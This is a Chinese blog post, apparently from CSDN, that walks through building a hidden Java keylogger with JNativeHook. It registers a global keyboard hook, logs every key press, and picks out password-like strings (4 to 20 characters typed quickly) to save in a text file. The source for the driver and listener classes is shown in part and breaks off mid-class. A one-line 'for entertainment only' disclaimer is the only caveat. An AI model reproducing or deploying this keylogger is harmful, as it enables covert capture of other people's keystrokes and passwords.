Java实现后台记录键盘操作并且进行简单的密码分析

使用JNativeHook.jar库,监听键盘输入,当字符间隔小于3秒且密码长度在4-20位时,保存至txt文件。通过启动线程5秒后关闭流,简单密码分析易于拓展。注意仅限娱乐,不可用于非法目的。
摘要由CSDN通过智能技术生成

最终实现:
借助于JNativeHook.jar包,通过分析输入字符串间相邻字符的时间间隔,这里设置为小于3s,并且密码的位数一般为4位到20位之间(可以自行调整),满足这两个条件就将这个字符串保存起来存在一个txt文件中。

首先是进行键盘监听注册

public class KeyloggerDriver {
   

	public static void main(String[] args) {
   

		try {
   
			GlobalScreen.registerNativeHook();
		}
		catch (NativeHookException ex) {
   
			System.err.println("There was a problem registering the native hook.");
			System.err.println(ex.getMessage());
			System.exit(1);
		}
		GlobalScreen.getInstance().addNativeKeyListener(new Keylogger());
	}

}

其次是描述触发行为

public class Keylogger implements NativeKeyListener{
   
	private Logger logger;
	private static final String path = "C:\\Users\\10401\\Desktop\\log.txt";

	public Keylogger() {
   
		File file = new File(path);
		if(!file.exists()){
   
			try {
   
				file.createNewFile();
			} catch (IOException e) {
   
				e.printStackTrace();
			}
		}
		logger = new Logger(file);
	}
	@Override
	public void nativeKeyPressed(NativeKeyEvent arg0) {
   
 		logger.inputLog(arg0.getKeyText(arg0.getKeyCode()));
	}
	@Override
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值